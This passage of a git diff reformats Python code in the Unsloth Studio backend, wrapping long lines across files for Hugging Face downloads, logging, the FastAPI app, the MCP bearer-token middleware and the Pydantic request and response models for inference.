00edb204c5..fcf5bbbdce 100644 --- a/studio/backend/hub/utils/llm_assist.py +++ b/studio/backend/hub/utils/llm_assist.py @@ -61,7 +61,9 @@ def _parse_json_response(text: str) -> Optional[dict[str, Any]]: return parsed if isinstance(parsed, dict) else None -def _generate_with_backend(backend, messages: list[dict[str, str]], max_tokens: int) -> str: +def _generate_with_backend( + backend, messages: list[dict[str, str]], max_tokens: int +) -> str: cumulative = "" for chunk in backend.generate_chat_completion( messages = messages, @@ -159,7 +161,9 @@ def _run_multi_pass_advisor( return None repo = os.environ.get("UNSLOTH_HELPER_MODEL_REPO", DEFAULT_HELPER_MODEL_REPO) - variant = os.environ.get("UNSLOTH_HELPER_MODEL_VARIANT", DEFAULT_HELPER_MODEL_VARIANT) + variant = os.environ.get( + "UNSLOTH_HELPER_MODEL_VARIANT", DEFAULT_HELPER_MODEL_VARIANT + ) backend = None try: from core.inference.llama_cpp import LlamaCppBackend @@ -179,7 +183,9 @@ def _run_multi_pass_advisor( samples_text = _sample_text(columns, samples) metadata_text = ( - json.dumps(dataset_metadata, indent = 2, default = str)[:500] if dataset_metadata else "N/A" + json.dumps(dataset_metadata, indent = 2, default = str)[:500] + if dataset_metadata + else "N/A" ) card_excerpt = (dataset_card or "")[:1200] or "N/A" hints = _target_hints(model_name, model_type) @@ -284,7 +290,9 @@ def _run_multi_pass_advisor( system_prompt = "" if not pass1.get("is_conversational"): user_cols = [col for col, role in column_roles.items() if role == "user"] - assistant_cols = [col for col, role in column_roles.items() if role == "assistant"] + assistant_cols = [ + col for col, role in column_roles.items() if role == "assistant" + ] prompt_raw = _generate_with_backend( backend, [ diff --git a/studio/backend/hub/utils/paths.py b/studio/backend/hub/utils/paths.py index 5435202565..8942f56605 100644 --- a/studio/backend/hub/utils/paths.py +++ b/studio/backend/hub/utils/paths.py @@ -281,7 +281,9 @@ def _hf_hub_cache_dir() -> Path: from huggingface_hub.constants import HF_HUB_CACHE return Path(HF_HUB_CACHE) except Exception as exc: - logger.debug("Could not read huggingface_hub HF_HUB_CACHE, using default: %s", exc) + logger.debug( + "Could not read huggingface_hub HF_HUB_CACHE, using default: %s", exc + ) return Path.home() / ".cache" / "huggingface" / "hub" @@ -408,7 +410,9 @@ def resolve_dataset_path(path_value: str) -> Path: return path except ValueError: continue - raise ValueError(f"dataset path must be relative or under a dataset root: {raw!r}") + raise ValueError( + f"dataset path must be relative or under a dataset root: {raw!r}" + ) parts = [part for part in Path(normalized).parts if part not in ("", ".")] if parts[:2] == ["assets", "datasets"]: diff --git a/studio/backend/hub/utils/state_dir.py b/studio/backend/hub/utils/state_dir.py index 898c03c87d..604b58e672 100644 --- a/studio/backend/hub/utils/state_dir.py +++ b/studio/backend/hub/utils/state_dir.py @@ -86,7 +86,9 @@ def repo_cache_basename(repo_type: RepoType, repo_id: str) -> str: # wrong filename and a misclassified scanner row (the Literal only guards # statically; dynamic/JSON-sourced values slip past it). if repo_type not in _VALID_REPO_TYPES: - raise ValueError(f"repo_type must be one of {_VALID_REPO_TYPES}, got {repo_type!r}") + raise ValueError( + f"repo_type must be one of {_VALID_REPO_TYPES}, got {repo_type!r}" + ) return f"{repo_type}s--{repo_id.replace('/', '--')}".lower() @@ -96,7 +98,10 @@ def _filename_bytes(name: str) -> int: def _state_filename_fits(entry_key: str) -> bool: filename = f"{entry_key}{_STATE_EXTENSION}" - return _filename_bytes(filename) + _ATOMIC_WRITE_TMP_OVERHEAD <= _MAX_STATE_BASENAME_BYTES + return ( + _filename_bytes(filename) + _ATOMIC_WRITE_TMP_OVERHEAD + <= _MAX_STATE_BASENAME_BYTES + ) def _state_repo_key(repo_type: RepoType, repo_id: str) -> str: diff --git a/studio/backend/hub/workers/hf_download.py b/studio/backend/hub/workers/hf_download.py index e45357d311..4d123a60ff 100644 --- a/studio/backend/hub/workers/hf_download.py +++ b/studio/backend/hub/workers/hf_download.py @@ -183,14 +183,17 @@ def _hf_token_arg(hf_token: str | None) -> HfTokenArg: def _retry_metadata_fetch(repo_id: str, fetch, *, label: str): - for attempt, timeout in enumerate((_METADATA_REQUEST_TIMEOUT, _METADATA_RETRY_TIMEOUT)): + for attempt, timeout in enumerate( + (_METADATA_REQUEST_TIMEOUT, _METADATA_RETRY_TIMEOUT) + ): try: return fetch(timeout) except Exception as e: if attempt == 1: raise print( - f"{label} request failed for {repo_id} " f"({type(e).__name__}: {e}); retrying.", + f"{label} request failed for {repo_id} " + f"({type(e).__name__}: {e}); retrying.", file = sys.stderr, ) time.sleep(_METADATA_RETRY_DELAY) @@ -439,7 +442,9 @@ def _recover_manifest_after_download( ) sys.exit(1) - fallback_files = download_manifest.expected_files_from_snapshot_dir(Path(snapshot_path)) + fallback_files = download_manifest.expected_files_from_snapshot_dir( + Path(snapshot_path) + ) if fallback_files and download_manifest.write_manifest( repo_type, repo_id, @@ -515,7 +520,9 @@ def _download_snapshot(repo_id: str, hf_token: str | None, mode: str) -> None: snapshot_path, mode, fetch_info = lambda: _model_info_with_retry(repo_id, hf_token), - expected_files_from_info = lambda recovered: _snapshot_download_plan(recovered)[1], + expected_files_from_info = lambda recovered: _snapshot_download_plan( + recovered + )[1], ) _verify_completed_download( "model", @@ -538,12 +545,15 @@ def _gguf_variant_target_plan( file = sys.stderr, ) raise RuntimeError( - f"Metadata unavailable while resolving GGUF variant '{variant}' " f"for {repo_id}" + f"Metadata unavailable while resolving GGUF variant '{variant}' " + f"for {repo_id}" ) from e return build_gguf_variant_plans(list(info.siblings)).get(variant.lower()) -def _download_gguf_variant(repo_id: str, variant: str, hf_token: str | None, mode: str) -> None: +def _download_gguf_variant( + repo_id: str, variant: str, hf_token: str | None, mode: str +) -> None: from huggingface_hub import snapshot_download from hub.utils.download_registry import prepare_cache_for_transport from hub.utils.hf_cache_state import has_active_incomplete_blobs diff --git a/studio/backend/loggers/handlers.py b/studio/backend/loggers/handlers.py index 716c4f40d2..a1e88cd8e4 100644 --- a/studio/backend/loggers/handlers.py +++ b/studio/backend/loggers/handlers.py @@ -130,7 +130,9 @@ class LoggingMiddleware: heartbeat. Stamps only on emit, so steady polls still log.""" if method != "GET" or not (200 <= status_code < 300): return False - window_ms = _QUIET_POLL_DEDUP_MS if path in _QUIET_POLL_PATHS else _ACCESS_LOG_DEDUP_MS + window_ms = ( + _QUIET_POLL_DEDUP_MS if path in _QUIET_POLL_PATHS else _ACCESS_LOG_DEDUP_MS + ) if window_ms <= 0: return False key = (method, path, query, status_code) @@ -186,7 +188,11 @@ class LoggingMiddleware: scope["method"], path, status_code, not self._auth_refreshed ) and not self._is_redundant_repeat( - scope["method"], path, scope.get("query_string", b""), status_code, end_time + scope["method"], + path, + scope.get("query_string", b""), + status_code, + end_time, ) ): logger.info( diff --git a/studio/backend/main.py b/studio/backend/main.py index f686e29bf5..efd7275c3b 100644 --- a/studio/backend/main.py +++ b/studio/backend/main.py @@ -74,7 +74,9 @@ if sys.platform == "win32": try: if os.path.isdir(_default_root): - for _ver in sorted(os.listdir(_default_root), key = _ver_key, reverse = True): + for _ver in sorted( + os.listdir(_default_root), key = _ver_key, reverse = True + ): _bin = os.path.join(_default_root, _ver, "bin") if os.path.isdir(_bin): candidates.append(_bin) @@ -133,7 +135,9 @@ if sys.platform == "win32": _all_vers_main: list[str] = [] for _pkg_dir in _bnb_spec.submodule_search_locations: - for _dll in _glob.glob(os.path.join(_pkg_dir, "libbitsandbytes_rocm*.dll")): + for _dll in _glob.glob( + os.path.join(_pkg_dir, "libbitsandbytes_rocm*.dll") + ): _found_rocm_bnb = True _km = _re_bnb.search( r"libbitsandbytes_rocm(\d+)\.dll", os.path.basename(_dll) @@ -151,7 +155,9 @@ if sys.platform == "win32": # (HIP SDK on a CUDA/CPU box) must not force a ROCm backend onto a # non-ROCm bitsandbytes, which raises at import. DLL unparsable -> "72". if _found_rocm_bnb: - _bnb_rocm_ver_final = _bnb_rocm_ver or os.environ.get("BNB_ROCM_VERSION") or "72" + _bnb_rocm_ver_final = ( + _bnb_rocm_ver or os.environ.get("BNB_ROCM_VERSION") or "72" + ) os.environ["BNB_ROCM_VERSION"] = _bnb_rocm_ver_final os.environ["UNSLOTH_BNB_ROCM_VERSION_SOURCE"] = "detected" _logging.getLogger(__name__).info( @@ -202,7 +208,9 @@ try: configure_cpu_threads() except ValueError as exc: _raw = os.environ.get("UNSLOTH_CPU_THREADS") - raise SystemExit(f"Error: Invalid UNSLOTH_CPU_THREADS value {_raw!r}: {exc}") from None + raise SystemExit( + f"Error: Invalid UNSLOTH_CPU_THREADS value {_raw!r}: {exc}" + ) from None # Anaconda/conda-forge Python: seed platform._sys_version_cache before any # library import triggers attrs -> rich -> structlog -> platform crash. @@ -254,7 +262,9 @@ def _read_studio_install_id() -> str: /api/health emits "" and the launcher accepts any healthy backend. Carries no install-path info (matters when Unsloth runs -H 0.0.0.0).""" try: - token = (_STUDIO_ROOT_RESOLVED / "share" / "studio_install_id").read_text().strip() + token = ( + (_STUDIO_ROOT_RESOLVED / "share" / "studio_install_id").read_text().strip() + ) except (OSError, ValueError): return "" return token if _STUDIO_INSTALL_ID_RE.fullmatch(token) else "" @@ -349,7 +359,9 @@ def get_unsloth_version() -> str: except PackageNotFoundError: pass - version_file = _Path(__file__).resolve().parents[2] / "unsloth" / "models" / "_utils.py" + version_file = ( + _Path(__file__).resolve().parents[2] / "unsloth" / "models" / "_utils.py" + ) try: for line in version_file.read_text(encoding = "utf-8").splitlines(): if line.startswith("__version__ = "): @@ -449,7 +461,9 @@ def _run_llama_cpp_startup_probes(app: FastAPI) -> None: print(f"WARNING: {_msg}", flush = True) except Exception as _probe_exc: import structlog as _structlog - _structlog.get_logger(__name__).debug("llama.cpp startup probes failed: %s", _probe_exc) + _structlog.get_logger(__name__).debug( + "llama.cpp startup probes failed: %s", _probe_exc + ) def _start_llama_cpp_probes_if_enabled(app: FastAPI) -> None: @@ -542,10 +556,14 @@ async def lifespan(app: FastAPI): from storage.rag_db import reconcile_orphaned_ingestion_jobs reconcile_orphaned_ingestion_jobs() except Exception as exc: - _lifespan_log.warning("reconcile_orphaned_ingestion_jobs failed at startup: %s", exc) + _lifespan_log.warning( + "reconcile_orphaned_ingestion_jobs failed at startup: %s", exc + ) _start_helper_precache_if_enabled() - threading.Thread(target = _warm_rag_embedder, daemon = True, name = "rag-embedder-warm").start() + threading.Thread( + target = _warm_rag_embedder, daemon = True, name = "rag-embedder-warm" + ).start() # Idle auto-unload loop (no-op unless the OpenAI auto-unload TTL is set). from core.inference.llama_keepwarm import idle_unload_loop, sweep_slot_save_dir @@ -682,7 +700,9 @@ def _build_csp(script_nonce: "str | None" = None) -> str: "https://*.googleusercontent.com wss://*.googleusercontent.com" ) else: - connect_src = "'self' https://huggingface.co https://datasets-server.huggingface.co" + connect_src = ( + "'self' https://huggingface.co https://datasets-server.huggingface.co" + ) return ( "default-src 'self'; " @@ -809,7 +829,11 @@ async def _send_411(send) -> None: async def _send_413(send, total_bytes: int, max_bytes: int) -> None: payload = _json_for_413.dumps( - {"detail": (f"Request body too large ({total_bytes:,} bytes; max {max_bytes:,}).")}, + { + "detail": ( + f"Request body too large ({total_bytes:,} bytes; max {max_bytes:,})." + ) + }, ).encode("utf-8") await send( { @@ -991,7 +1015,9 @@ app.include_router(data_recipe_router, prefix = "/api/data-recipe", tags = ["dat app.include_router(llama_router, prefix = "/api/llama", tags = ["llama"]) app.include_router(export_router, prefix = "/api/export", tags = ["export"]) app.include_router(rag_router, prefix = "/api/rag", tags = ["rag"]) -app.include_router(training_history_router, prefix = "/api/train", tags = ["training-history"]) +app.include_router( + training_history_router, prefix = "/api/train", tags = ["training-history"] +) app.include_router(hub_inventory_router, prefix = "/api/hub", tags = ["hub"]) app.include_router(hub_datasets_router, prefix = "/api/hub/datasets", tags = ["hub"]) app.include_router(hub_token_router, prefix = "/api/hub", tags = ["hub"]) @@ -1049,7 +1075,9 @@ async def health_check(request: Request): from auth.authentication import get_current_subject as _gcs from fastapi.security import HTTPAuthorizationCredentials - creds = HTTPAuthorizationCredentials(scheme = "Bearer", credentials = auth.split(" ", 1)[1]) + creds = HTTPAuthorizationCredentials( + scheme = "Bearer", credentials = auth.split(" ", 1)[1] + ) # Must await: a bare coroutine is truthy and would skip the auth check subject = await _gcs(creds) except HTTPException: @@ -1091,12 +1119,16 @@ def studio_update_status(_current_subject: str = Depends(get_current_subject)): "/api/studio/download-transport-capabilities", response_model = TransportCapabilities, ) -def studio_download_transport_capabilities(_current_subject: str = Depends(get_current_subject)): +def studio_download_transport_capabilities( + _current_subject: str = Depends(get_current_subject), +): return asdict(get_download_transport_capabilities()) @app.post("/api/shutdown") -async def shutdown_server(request: Request, current_subject: str = Depends(get_current_subject)): +async def shutdown_server( + request: Request, current_subject: str = Depends(get_current_subject) +): """Gracefully shut down the Unsloth Studio server. Called by the frontend quit dialog so users can stop the server from the UI @@ -1132,7 +1164,10 @@ def _get_cached_system_gpu_info(logger) -> dict[str, Any]: return cached_gpu_info try: - visibility_info = get_backend_visible_gpu_info() or {"available": False, "devices": []} + visibility_info = get_backend_visible_gpu_info() or { + "available": False, + "devices": [], + } except Exception as e: logger.debug(f"Failed to get GPU visibility info: {e}") visibility_info = {"available": False, "devices": []} @@ -1158,7 +1193,9 @@ def _get_cached_system_gpu_info(logger) -> dict[str, Any]: enriched_dev = dict(dev) enriched_dev["vram_used_gb"] = used_vram enriched_dev["vram_free_gb"] = ( - round(total_vram - used_vram, 2) if total_vram and used_vram is not None else None + round(total_vram - used_vram, 2) + if total_vram and used_vram is not None + else None ) enriched_dev["vram_utilization_pct"] = util.get("vram_utilization_pct") enriched_devices.append(enriched_dev) @@ -1171,7 +1208,8 @@ def _get_cached_system_gpu_info(logger) -> dict[str, Any]: from core.inference.llama_cpp import LlamaCppBackend from utils.hardware import DeviceType, get_device gpu_ids_supported = ( - get_device() != DeviceType.XPU and not LlamaCppBackend._is_vulkan_backend() + get_device() != DeviceType.XPU + and not LlamaCppBackend._is_vulkan_backend() ) except Exception as e: logger.debug(f"Could not resolve gpu_ids support: {e}") @@ -1283,7 +1321,8 @@ async def get_gpu_visibility(current_subject: str = Depends(get_current_subject) @app.get("/api/system/hardware") def get_hardware_info( - include_details: bool = Query(False), current_subject: str = Depends(get_current_subject) + include_details: bool = Query(False), + current_subject: str = Depends(get_current_subject), ): """Return GPU name, total VRAM, and key ML package versions. diff --git a/studio/backend/mcp_server.py b/studio/backend/mcp_server.py index e93490411d..25d71d15d9 100644 --- a/studio/backend/mcp_server.py +++ b/studio/backend/mcp_server.py @@ -24,7 +24,9 @@ class BearerTokenMiddleware: raise ValueError("Unsloth MCP bearer token must be a non-empty value") if not token.isascii(): # A non-ASCII token cannot be sent in an HTTP header; reject it here. - raise ValueError("Unsloth MCP bearer token must contain ASCII characters only") + raise ValueError( + "Unsloth MCP bearer token must contain ASCII characters only" + ) self.app = app # Compare on raw header bytes: str hmac.compare_digest raises on non-ASCII # input, which would surface as a 500 instead of a clean 401. @@ -39,7 +41,9 @@ class BearerTokenMiddleware: headers = dict(scope.get("headers", [])) raw_auth = headers.get(b"authorization", b"") scheme, _, supplied = raw_auth.partition(b" ") - if scheme.lower() != b"bearer" or not hmac.compare_digest(supplied, self.expected): + if scheme.lower() != b"bearer" or not hmac.compare_digest( + supplied, self.expected + ): await _send_unauthorized(send, scope_type) return @@ -55,7 +59,10 @@ async def _send_unauthorized(send: Any, scope_type: str) -> None: { "type": "http.response.start", "status": 401, - "headers": [(b"content-type", b"application/json"), (b"www-authenticate", b"Bearer")], + "headers": [ + (b"content-type", b"application/json"), + (b"www-authenticate", b"Bearer"), + ], } ) await send( @@ -255,5 +262,6 @@ async def _gather_status(*coroutines: Any) -> tuple[Any, ...]: results = await asyncio.gather(*coroutines, return_exceptions = True) return tuple( - {"error": str(result)} if isinstance(result, Exception) else result for result in results + {"error": str(result)} if isinstance(result, Exception) else result + for result in results ) diff --git a/studio/backend/models/auth.py b/studio/backend/models/auth.py index 2283aa709f..df7a066057 100644 --- a/studio/backend/models/auth.py +++ b/studio/backend/models/auth.py @@ -26,13 +26,17 @@ class DesktopLoginRequest(BaseModel): class RefreshTokenRequest(BaseModel): """Refresh token payload to obtain new access + refresh tokens.""" - refresh_token: str = Field(..., description = "Refresh token from a previous login or refresh") + refresh_token: str = Field( + ..., description = "Refresh token from a previous login or refresh" + ) class AuthStatusResponse(BaseModel): """Indicate whether the seeded admin auth flow is ready.""" - initialized: bool = Field(..., description = "True if the auth database contains a login user") + initialized: bool = Field( + ..., description = "True if the auth database contains a login user" + ) default_username: str = Field( "unsloth", description = "Default admin username for first-boot UI prefill.", @@ -77,7 +81,9 @@ class ApiKeyResponse(BaseModel): id: int name: str - key_prefix: str = Field(..., description = "First 8 characters after sk-unsloth- for display") + key_prefix: str = Field( + ..., description = "First 8 characters after sk-unsloth- for display" + ) created_at: str last_used_at: Optional[str] = None expires_at: Optional[str] = None diff --git a/studio/backend/models/data_recipe.py b/studio/backend/models/data_recipe.py index e6f27e64df..c100b2b5f9 100644 --- a/studio/backend/models/data_recipe.py +++ b/studio/backend/models/data_recipe.py @@ -101,7 +101,9 @@ class SeedInspectUploadRequest(BaseModel): if not self.block_id: raise ValueError("block_id is required when using file_ids") if self.file_names is None or len(self.file_ids) != len(self.file_names): - raise ValueError("file_names must be provided and same length as file_ids") + raise ValueError( + "file_names must be provided and same length as file_ids" + ) if has_legacy: if not self.filename: raise ValueError("filename is required when using content_base64") diff --git a/studio/backend/models/export.py b/studio/backend/models/export.py index 9dc4d9451a..a4db427b42 100644 --- a/studio/backend/models/export.py +++ b/studio/backend/models/export.py @@ -21,7 +21,11 @@ def _validate_save_directory(value: str) -> str: if any(ch in raw for ch in ("\r", "\n")): raise ValueError("save_directory may not contain control characters") path = Path(raw).expanduser() - path_parts = (*path.parts, *PureWindowsPath(raw).parts, *raw.replace("\\", "/").split("/")) + path_parts = ( + *path.parts, + *PureWindowsPath(raw).parts, + *raw.replace("\\", "/").split("/"), + ) if any(len(part) > 255 for part in path_parts if part not in ("", ".", "/", "\\")): raise ValueError("save_directory path components must be <= 255 characters") if ( diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py index d51d35189b..81012ebbad 100644 --- a/studio/backend/models/inference.py +++ b/studio/backend/models/inference.py @@ -26,7 +26,9 @@ class LoadRequest(BaseModel): native_path_lease: Optional[str] = Field( None, description = "Frontend-visible signed native path grant" ) - hf_token: Optional[str] = Field(None, description = "HuggingFace token for gated models") + hf_token: Optional[str] = Field( + None, description = "HuggingFace token for gated models" + ) max_seq_length: int = Field( 0, ge = 0, @@ -53,7 +55,9 @@ class LoadRequest(BaseModel): @field_validator("chat_template_override") @classmethod - def normalize_blank_chat_template_override(cls, value: Optional[str]) -> Optional[str]: + def normalize_blank_chat_template_override( + cls, value: Optional[str] + ) -> Optional[str]: if value is not None and value.strip() == "": return None return value @@ -146,7 +150,9 @@ class LoadRequest(BaseModel): @field_validator("tensor_split") @classmethod - def _reject_degenerate_tensor_split(cls, value: Optional[List[float]]) -> Optional[List[float]]: + def _reject_degenerate_tensor_split( + cls, value: Optional[List[float]] + ) -> Optional[List[float]]: # A negative / non-finite / all-zero split is silently dropped at launch # (stored as None) yet still compared raw in the reload dedupe, so an # identical Apply reloads forever. Reject it up front; [] = no split. @@ -184,7 +190,9 @@ class ValidateModelRequest(BaseModel): native_path_lease: Optional[str] = Field( None, description = "Frontend-visible signed native path grant" ) - hf_token: Optional[str] = Field(None, description = "HuggingFace token for gated models") + hf_token: Optional[str] = Field( + None, description = "HuggingFace token for gated models" + ) gguf_variant: Optional[str] = Field( None, description = "GGUF quantization variant (e.g. 'Q4_K_M')" ) @@ -212,7 +220,8 @@ class TransformersUpgradeInfo(BaseModel): """A model architecture no installed transformers ships, but a newer release does.""" model_type: str = Field( - ..., description = "config.json model_type unknown to every installed transformers" + ..., + description = "config.json model_type unknown to every installed transformers", ) pypi_version: Optional[str] = Field( None, description = "Latest transformers release on PyPI at check time" @@ -238,7 +247,9 @@ class ValidateModelResponse(BaseModel): valid: bool = Field(..., description = "Whether the model identifier looks valid") message: str = Field(..., description = "Human-readable validation message") identifier: Optional[str] = Field(None, description = "Resolved model identifier") - display_name: Optional[str] = Field(None, description = "Display name derived from identifier") + display_name: Optional[str] = Field( + None, description = "Display name derived from identifier" + ) is_gguf: bool = Field(False, description = "Whether this is a GGUF model (llama.cpp)") is_lora: bool = Field(False, description = "Whether this is a LoRA adapter") is_vision: bool = Field(False, description = "Whether this is a vision-capable model") @@ -319,10 +330,16 @@ class GenerateRequest(BaseModel): top_p: float = Field(0.95, ge = 0.0, le = 1.0, description = "Top-p sampling") top_k: int = Field(20, ge = -1, le = 100, description = "Top-k sampling") min_p: float = Field(0.0, ge = 0.0, le = 1.0, description = "Min-p sampling") - max_new_tokens: int = Field(2048, ge = 1, le = 4096, description = "Maximum tokens to generate") - repetition_penalty: float = Field(1.0, ge = 1.0, le = 2.0, description = "Repetition penalty") + max_new_tokens: int = Field( + 2048, ge = 1, le = 4096, description = "Maximum tokens to generate" + ) + repetition_penalty: float = Field( + 1.0, ge = 1.0, le = 2.0, description = "Repetition penalty" + ) presence_penalty: float = Field(0.0, ge = 0.0, le = 2.0, description = "Presence penalty") - image_base64: Optional[str] = Field(None, description = "Base64 encoded image for vision models") + image_base64: Optional[str] = Field( + None, description = "Base64 encoded image for vision models" + ) class LoadResponse(BaseModel): @@ -333,13 +350,19 @@ class LoadResponse(BaseModel): display_name: str = Field(..., description = "Display name of the model") is_vision: bool = Field(False, description = "Whether model is a vision model") is_lora: bool = Field(False, description = "Whether model is a LoRA adapter") - is_gguf: bool = Field(False, description = "Whether model is a GGUF model (llama.cpp)") + is_gguf: bool = Field( + False, description = "Whether model is a GGUF model (llama.cpp)" + ) is_diffusion: bool = Field( False, description = "Whether model is a block-diffusion model (DiffusionGemma)" ) is_audio: bool = Field(False, description = "Whether model is a TTS audio model") - audio_type: Optional[str] = Field(None, description = "Audio codec type: snac, csm, bicodec, dac") - has_audio_input: bool = Field(False, description = "Whether model accepts audio input (ASR)") + audio_type: Optional[str] = Field( + None, description = "Audio codec type: snac, csm, bicodec, dac" + ) + has_audio_input: bool = Field( + False, description = "Whether model accepts audio input (ASR)" + ) inference: dict = Field( ..., description = "Inference parameters (temperature, top_p, top_k, min_p)" ) @@ -361,11 +384,11 @@ class LoadResponse(BaseModel): False, description = "Whether model supports thinking/reasoning mode (enable_thinking or reasoning_effort)", ) - reasoning_style: Literal["enable_thinking", "reasoning_effort", "enable_thinking_effort"] = ( - Field( - "enable_thinking", - description = "Reasoning control style: 'enable_thinking' (boolean), 'reasoning_effort' (low|medium|high), or 'enable_thinking_effort' (on/off gate plus an effort level, e.g. GLM-5.2 high|max)", - ) + reasoning_style: Literal[ + "enable_thinking", "reasoning_effort", "enable_thinking_effort" + ] = Field( + "enable_thinking", + description = "Reasoning control style: 'enable_thinking' (boolean), 'reasoning_effort' (low|medium|high), or 'enable_thinking_effort' (on/off gate plus an effort level, e.g. GLM-5.2 high|max)", ) reasoning_effort_levels: List[str] = Field( default_factory = list, @@ -473,7 +496,9 @@ class LoadProgressResponse(BaseModel): 0, description = "Total bytes across all GGUF shards for the active model.", ) - fraction: float = Field(0.0, description = "bytes_loaded / bytes_total, clamped to 0..1.") + fraction: float = Field( + 0.0, description = "bytes_loaded / bytes_total, clamped to 0..1." + ) class InferenceStatusResponse(BaseModel): @@ -486,17 +511,34 @@ class InferenceStatusResponse(BaseModel): None, description = "Loadable identifier for the active model.", ) - is_vision: bool = Field(False, description = "Whether the active model is a vision model") - is_gguf: bool = Field(False, description = "Whether the active model is a GGUF model (llama.cpp)") - is_diffusion: bool = Field( - False, description = "Whether the active model is a block-diffusion model (DiffusionGemma)" + is_vision: bool = Field( + False, description = "Whether the active model is a vision model" + ) + is_gguf: bool = Field( + False, description = "Whether the active model is a GGUF model (llama.cpp)" + ) + is_diffusion: bool = Field( + False, + description = "Whether the active model is a block-diffusion model (DiffusionGemma)", + ) + gguf_variant: Optional[str] = Field( + None, description = "GGUF quantization variant (e.g. Q4_K_M)" + ) + is_audio: bool = Field( + False, description = "Whether the active model is a TTS audio model" + ) + audio_type: Optional[str] = Field( + None, description = "Audio codec type: snac, csm, bicodec, dac" + ) + has_audio_input: bool = Field( + False, description = "Whether model accepts audio input (ASR)" + ) + loading: List[str] = Field( + default_factory = list, description = "Models currently being loaded" + ) + loaded: List[str] = Field( + default_factory = list, description = "Models currently loaded" ) - gguf_variant: Optional[str] = Field(None, description = "GGUF quantization variant (e.g. Q4_K_M)") - is_audio: bool = Field(False, description = "Whether the active model is a TTS audio model") - audio_type: Optional[str] = Field(None, description = "Audio codec type: snac, csm, bicodec, dac") - has_audio_input: bool = Field(False, description = "Whether model accepts audio input (ASR)") - loading: List[str] = Field(default_factory = list, description = "Models currently being loaded") - loaded: List[str] = Field(default_factory = list, description = "Models currently loaded") inference: Optional[Dict[str, Any]] = Field( None, description = "Recommended inference parameters for the active model" ) @@ -507,11 +549,11 @@ class InferenceStatusResponse(BaseModel): supports_reasoning: bool = Field( False, description = "Whether the active model supports reasoning/thinking mode" ) - reasoning_style: Literal["enable_thinking", "reasoning_effort", "enable_thinking_effort"] = ( - Field( - "enable_thinking", - description = "Reasoning control style: 'enable_thinking' (boolean), 'reasoning_effort' (low|medium|high), or 'enable_thinking_effort' (on/off gate plus an effort level, e.g. GLM-5.2 high|max)", - ) + reasoning_style: Literal[ + "enable_thinking", "reasoning_effort", "enable_thinking_effort" + ] = Field( + "enable_thinking", + description = "Reasoning control style: 'enable_thinking' (boolean), 'reasoning_effort' (low|medium|high), or 'enable_thinking_effort' (on/off gate plus an effort level, e.g. GLM-5.2 high|max)", ) reasoning_effort_levels: List[str] = Field( default_factory = list, @@ -527,7 +569,9 @@ class InferenceStatusResponse(BaseModel): supports_tools: bool = Field( False, description = "Whether the active model supports tool calling" ) - context_length: Optional[int] = Field(None, description = "Context length of the active model") + context_length: Optional[int] = Field( + None, description = "Context length of the active model" + ) max_context_length: Optional[int] = Field( None, description = "Maximum context length currently available for the active model", @@ -924,7 +968,9 @@ class ChatCompletionRequest(BaseModel): parallel_tool_calls: Optional[bool] = Field( None, description = "Whether to enable parallel function calling during tool use." ) - seed: Optional[int] = Field(None, description = "Best-effort deterministic sampling seed.") + seed: Optional[int] = Field( + None, description = "Best-effort deterministic sampling seed." + ) stream_options: Optional[dict] = Field( None, description = 'Streaming options, e.g. {"include_usage": true} to emit a final usage chunk.', @@ -932,7 +978,9 @@ class ChatCompletionRequest(BaseModel): # ── Unsloth extensions (ignored by standard OpenAI clients) ── top_k: int = Field(20, ge = -1, le = 100, description = "[x-unsloth] Top-k sampling") - min_p: float = Field(0.01, ge = 0.0, le = 1.0, description = "[x-unsloth] Min-p sampling threshold") + min_p: float = Field( + 0.01, ge = 0.0, le = 1.0, description = "[x-unsloth] Min-p sampling threshold" + ) repetition_penalty: float = Field( 1.0, ge = 1.0, le = 2.0, description = "[x-unsloth] Repetition penalty" ) @@ -1244,7 +1292,9 @@ class ChatCompletionRequest(BaseModel): if not tc_id: continue function = tc.get("function") - function_name = function.get("name") if isinstance(function, dict) else None + function_name = ( + function.get("name") if isinstance(function, dict) else None + ) if msg.name and function_name == msg.name: name_match = (tc_id, asst_idx, tc_idx) break @@ -1401,7 +1451,9 @@ class ChoiceDelta(BaseModel): tool_calls: Optional[list[dict]] = None -OpenAIFinishReason = Literal["stop", "length", "tool_calls", "content_filter", "function_call"] +OpenAIFinishReason = Literal[ + "stop", "length", "tool_calls", "content_filter", "function_call" +] class ChunkChoice(BaseModel): @@ -1557,13 +1609,17 @@ class ResponsesFunctionCallInputItem(BaseModel): """ type: Literal["function_call"] - id: Optional[str] = Field(None, description = "Item id assigned by the server (e.g. fc_...)") + id: Optional[str] = Field( + None, description = "Item id assigned by the server (e.g. fc_...)" + ) call_id: str = Field( ..., description = "Correlation id matching a function_call_output on the next turn.", ) name: str - arguments: str = Field(..., description = "JSON string of the arguments the model produced.") + arguments: str = Field( + ..., description = "JSON string of the arguments the model produced." + ) status: Optional[Literal["in_progress", "completed", "incomplete"]] = None @@ -1650,7 +1706,9 @@ class ResponsesRequest(BaseModel): default = [], description = "Input text or list of messages / function_call / function_call_output items", ) - instructions: Optional[str] = Field(None, description = "System / developer instructions") + instructions: Optional[str] = Field( + None, description = "System / developer instructions" + ) temperature: Optional[float] = Field(None, ge = 0.0, le = 2.0) top_p: Optional[float] = Field(None, ge = 0.0, le = 1.0) max_output_tokens: Optional[int] = Field(None, ge = 1) @@ -1738,7 +1796,9 @@ class ResponsesOutputFunctionCall(BaseModel): id: str = Field(default_factory = lambda: f"fc_{uuid.uuid4().hex[:12]}") call_id: str name: str - arguments: str = Field(..., description = "JSON string of the arguments the model produced.") + arguments: str = Field( + ..., description = "JSON string of the arguments the model produced." + ) status: Literal["completed", "in_progress", "incomplete"] = "completed" @@ -1880,12 +1940,16 @@ def _merge_anthropic_system(system: Any, additions: list[str]) -> Any: if not additions: return system - addition_blocks = [{"type": "text", "text": text} for text in additions if text.strip()] + addition_blocks = [ + {"type": "text", "text": text} for text in additions if text.strip() + ] if not addition_blocks: return system if system is None: - return addition_blocks[0]["text"] if len(addition_blocks) == 1 else addition_blocks + return ( + addition_blocks[0]["text"] if len(addition_blocks) == 1 else addition_blocks + ) if isinstance(system, str): return "\n\n".join([system, *[block["text"] for block in addition_blocks]]) if isinstance(system, list): @@ -1922,13 +1986,20 @@ class AnthropicMessage(BaseModel): if isinstance(content, list): for block in content: btype = ( - block.get("type") if isinstance(block, dict) else getattr(block, "type", None) + block.get("type") + if isinstance(block, dict) + else getattr(block, "type", None) ) # Guard the value: a non-string type is 